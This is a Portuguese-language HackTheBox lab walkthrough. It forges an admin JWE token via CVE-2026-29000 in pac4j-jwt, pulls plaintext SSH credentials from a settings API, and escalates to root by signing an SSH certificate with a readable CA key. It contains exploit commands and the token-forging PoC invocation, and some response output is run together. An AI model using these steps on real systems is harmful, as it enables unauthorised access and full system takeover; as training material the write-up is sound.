
# Exploração detalhada do CVE-2026-29000 no pac4j-jwt para contornar a autenticação, extrair credenciais das configurações da API e escalar privilégios via assinatura SSH CA em uma máquina Linux do HackTheBox.
Dificuldade: Média SO: Linux Plataforma: HackTheBox
Aplicação web que executa pac4j-jwt v6.0.3 — vulnerável a CVE-2026-29000. A chave pública RSA é exposta sem autenticação através de um endpoint JWKS e pode ser usada para forjar um token JWE de administrador válido, contornando a autenticação por completo. Com acesso de administrador, credenciais SSH em texto simples são recuperadas da API de configurações. A conta de serviço é membro do grupo deployers com acesso de leitura a uma chave privada de CA SSH confiável pelo sshd — assinar um certificado que concede acesso root conclui a máquina.
Naveguei até a aplicação web e visualizei o código-fonte da página. Encontrei o pacote JavaScript principal em /static/js/app.js.
Endpoints de API principais identificados dentro de app.js:
/api/auth/login
/api/auth/jwks <- endpoint de chave pública (sem autenticação)
/api/dashboard
/api/users
/api/settings
O rodapé da página revelou: pac4j-jwt v6.0.3 — vulnerável a CVE-2026-29000.
Obtive a chave pública RSA do endpoint JWKS sem autenticação:
curl http://<TARGET_IP>:8080/api/auth/jwks
# Retorna a chave pública RSA (kid: enc-key-1)
A CVE-2026-29000 permite que a chave pública seja usada para forjar um token JWE válido — a biblioteca aceita incorretamente tokens criptografados com a chave pública em vez de exigir a chave privada.
Usei o PoC para gerar um token de administrador forjado:
python3 poc.py \
--jwks http://<TARGET_IP>:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
Usei o token forjado como token Bearer no Burp Repeater:
Authorization: Bearer <forged_token>
GET /api/dashboard → 200 OK
ROLE_ADMINCERT_ISSUED para o usuário: svc-deployGET /api/settings → 200 OK
/opt/principal/ssh/Conectei via SSH usando as credenciais recuperadas de /api/settings:
ssh svc-deploy@<TARGET_IP>
Flag de usuário recuperada.
svc-deploy está no grupo deployers com acesso de leitura a /opt/principal/ssh/:
ls -la /opt/principal/ssh/
# ca — chave privada da CA RSA de 4096 bits (legível por deployers)
# ca.pub — chave pública da CA
# README.txt — confirma que a CA é confiável pelo sshd
A chave privada da CA é legível. Como o sshd confia nesta CA, qualquer certificado assinado por ela é aceito — incluindo um que conceda acesso root.
# Gerar um novo par de chaves
ssh-keygen -t ed25519 -f /tmp/privesc
# Assinar com a CA, concedendo principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub
# SSH como root
ssh -i /tmp/privesc root@<TARGET_IP>
Flag de root recuperada.
/home/svc-deploy/user.txt/root/root.txt